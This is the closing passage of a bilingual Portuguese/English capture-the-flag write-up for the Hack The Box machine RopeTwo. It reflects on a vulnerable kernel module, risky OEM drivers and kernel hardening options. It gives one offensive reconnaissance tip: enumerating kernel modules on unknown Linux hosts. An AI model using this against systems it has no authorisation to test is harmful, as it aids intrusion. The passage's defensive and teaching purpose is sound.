ralloc.ko é um alloc demo deixado num kernel real. Em produção, o equivalente
são drivers de OEM (NVIDIA, Realtek, Mediatek, vendor-specific BSPs) — frequentemente
sem revisão, sem SMAP/KASAN no dev cycle, com bugs que viram exploits 0day em IoT/Android.
Pra ataque: /lib/modules + lsmod em qualquer Linux desconhecido,
sempre primeiro stop. Pra defesa: CONFIG_DEBUG_KMEMLEAK +
CONFIG_KASAN + assinatura de módulos
(CONFIG_MODULE_SIG_FORCE=y) bloqueia 80% do espaço de ataque.
ralloc.ko is an alloc demo dropped into a real kernel. In production, the
equivalent are OEM drivers (NVIDIA, Realtek, Mediatek, vendor-specific BSPs) — often
unreviewed, missing SMAP/KASAN during the dev cycle, with bugs that ship as 0day
exploits in IoT/Android. For attackers: /lib/modules + lsmod
on any unknown Linux, always the first stop. For defense:
CONFIG_DEBUG_KMEMLEAK + CONFIG_KASAN + module signing
(CONFIG_MODULE_SIG_FORCE=y) blocks 80% of the attack surface.
Se você terminou RopeTwo, parabéns — é literalmente uma das boxes mais técnicas que o HTB já produziu. Próximos passos por estágio:
If you've finished RopeTwo, congrats — it's literally one of the most technical boxes HTB has ever produced. Next steps by stage:
═════════════════════════════════════════════════════════════════════════ :: ARES :: red team machine // offensive division // vultus cyber :: :: ropetwo · linux · INSANE · 3 pwn estágios · ROOTED in 08:06 :: ═════════════════════════════════════════════════════════════════════════